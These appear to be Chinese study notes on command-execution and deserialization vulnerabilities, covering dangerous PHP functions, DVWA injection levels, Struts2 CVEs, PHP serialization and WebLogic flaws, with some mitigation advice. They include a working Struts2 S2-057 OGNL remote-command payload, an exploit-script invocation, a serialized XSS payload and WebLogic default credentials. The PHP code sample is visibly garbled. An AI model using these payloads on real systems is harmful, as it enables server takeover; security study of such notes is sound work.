命令执行与反序列化
原理
设计者在编写代码时没有做严格的安全控制,导致攻击者通过接口或相关参数提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器 。
&、|、“ 空格”等组合连接实现
只要带参数的地方都可能出现命令执行漏洞
路由器、防火墙、自动化运维平台、入侵检测等web管理页面
远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口
assert
system
``(反单引号)
exec
shell_exec
pcntl_exec
passthru
popen
proc_open
远程代码执行
因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
eval
assert
call_user_func
base64_decode
gzinflate
gzuncompress
gzdecode
str_rot13
文件包含与生成
require
require_once
include
include_once
file_get_contents
file_put_contents
fputs
fwrite
其他命令
.htaccess:
SetHandler
auto_prepend_file
auto_append_file
dvwa:
low &&
Medium & 或&;&
High | (代码里面的|后有一个空格)
命令执行防范
Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞
struts2命令执行漏洞
高危漏洞
-
S2-045
- http://192.168.0.127:8080/struts2-showcase/showcase.action
-
S2-048
-
远程代码执行漏洞exp
-
C:>struts048.py http://192.168.32.95:8080/struts2-showcase/integration/saveGangster.action “ipconfig”
-
工具检测执行
- k8
-
-
-
S2-052
-
(针对版本struts 2.5-2.5.12)
- https://www.cnblogs.com/Hi-blog/p/7510987.html
-
-
S2-057
- 注意事项:
首先在struts.xml配置文件添加
- 注意事项:
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
其次修改配置文件struts-actionchaining.xml 删掉namespace属性,或使用了通配符*
最后把type="chain"改成type=“redirectAction”
- Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现
- 参考文章:
https://blog.csdn.net/weixin_43625577/article/details/97111575
https://www.sinesafe.com/article/20180823/struts2057.html
- http://192.168.0.127:8080/struts2-showcase//actionChain1.action
- 攻击payload:
- http://192.168.0.127:8080/struts2-showcase/${(1+1)}/actionChain1.action
- ${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc.exe')}
- ${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
-
S2-059
-
执行OGNL表达式解析
- %{1+1}
-
反序列化漏洞
序列化简介
-
就是把一个对象变成可以传输的字符串,目的就是为了方便传输。
-
假设,我们写了一个class,这个class里面存有一些变量。当这个class被实例化了之后,在使用过程中里面的一些变量值发生了改变。以后在某些时候还会用到这个变量,如果我们让这个class一直不销毁,等着下一次要用它的时候再一次被调用的话,浪费系统资源。当我们写一个小型的项目可能没有太大的影响,但是随着项目的壮大,一些小问题被放大了之后就会产生很多麻烦。这个时候PHP就和我们说,你可以把这个对象序列化了,存成一个字符串,当你要用的时候再放他出来就好了。在我们将PHP反序列化的时候,基本都是围绕着serialize(),unserialize()这两个函数。
- <?php
class S{
public $test=“pikachu”;
}
$s=new S(); //创建一个对象
o
u
t
p
=
s
e
r
i
a
l
i
z
e
(
outp = serialize(
outp=serialize(s); //把这个对象进行序列化
echo &outp;
?>
- 序列化:
- O:1:"S":1:{s:4:"test";s:7:"pikachu";}
- O: obeject
1: 一个对象
“S”: 对象名
1: 1个对象
s: 实例化对象名称
4: 参数长度
“test”: 参数名称
s: 参数类型
7: 参数值长度
“pikachu”: 参数值
- 反序列化:
漏洞利用
-
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
- 注意:数字29是后面双引号内代码的字符数
PHP反序列化
- serialize() 和 unserialize() 在 PHP内部实现上是没有漏洞的,之所以会产生反序列化漏洞是因为应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。
当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的 payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。
jboss反序列化
Weblogic反序列化
- 弱口令 帐号和密码都是weblogic
- Java 反序列化漏洞操作(CVE-2018-2628)、
任意文件上传漏洞操作(CVE-2018-2894)、
XML Decoder 反序列化漏洞操作(CVE-2017-10271)、
SSRF 漏洞(需要安装Weblogic时选择UDDI组件)、https://www.jianshu.com/p/97b157a20108)
反序列化漏洞(CVE-2019-2725
反序列化防范
安全配置好php相关参数
- 通过Php.ini配置文件里面有个disable_functions = 配置,这个禁止某些php函数,服务器便是用这个来禁止php的执行命令函数。
- 例如:禁止用这些函数来执行系统命令
disable_functions = system,passthru,shell_exec,exec,popen